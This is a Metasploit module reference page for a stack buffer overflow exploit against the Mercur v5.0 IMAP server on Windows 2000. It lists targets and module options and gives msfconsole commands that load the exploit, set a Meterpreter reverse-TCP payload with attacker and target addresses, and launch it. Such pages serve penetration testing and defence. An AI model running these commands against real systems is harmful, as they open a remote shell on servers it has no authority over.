Browse Exploit & Auxiliary Modules

The Metasploit Project hosts the world's largest database of quality assured exploits, including hundreds of remote exploits, auxiliary modules, and payloads. You can even review the Metasploit Framework source code of any module - or write your own.

Search for modules

Mercur v5.0 IMAP SP3 SELECT Buffer Overflow

Mercur v5.0 IMAP server is prone to a remotely exploitable stack-based buffer overflow vulnerability. This issue is due to a failure of the application to properly bounds check user-supplied data prior to copying it to a fixed size memory buffer. Credit to Tim Taylor for discover the vulnerability.


Rank

  • Average

Authors

  • Jacopo Cervini < acaro [at] jervus.it >

References


Exploit Targets

  • 0 - Windows 2000 Server SP4 English (default)
  • 1 - Windows 2000 Pro SP1 English

Development


Similar Modules


Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/windows/imap/mercur_imap_select_overflow
msf exploit(mercur_imap_select_overflow) > show payloads
msf exploit(mercur_imap_select_overflow) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(mercur_imap_select_overflow) > set LHOST [MY IP ADDRESS]
msf exploit(mercur_imap_select_overflow) > set RHOST [TARGET IP]
msf exploit(mercur_imap_select_overflow) > exploit


Module Options

IMAPPASS The password for the specified username
IMAPUSER The username to authenticate as
RHOST The target address
RPORT The target port (default: 143)
CHOST The local client address
CPORT The local client port
ConnectTimeout Maximum number of seconds to establish a TCP connection
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
EnableContextEncoding Use transient context when encoding payloads
Proxies Use a proxy chain
SSL Negotiate SSL for outgoing connections
SSLVersion Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
WfsDelay Additional delay when waiting for a session
TCP::max_send_size Maxiumum tcp segment size. (0 = disable)
TCP::send_delay Delays inserted before every send. (0 = disable)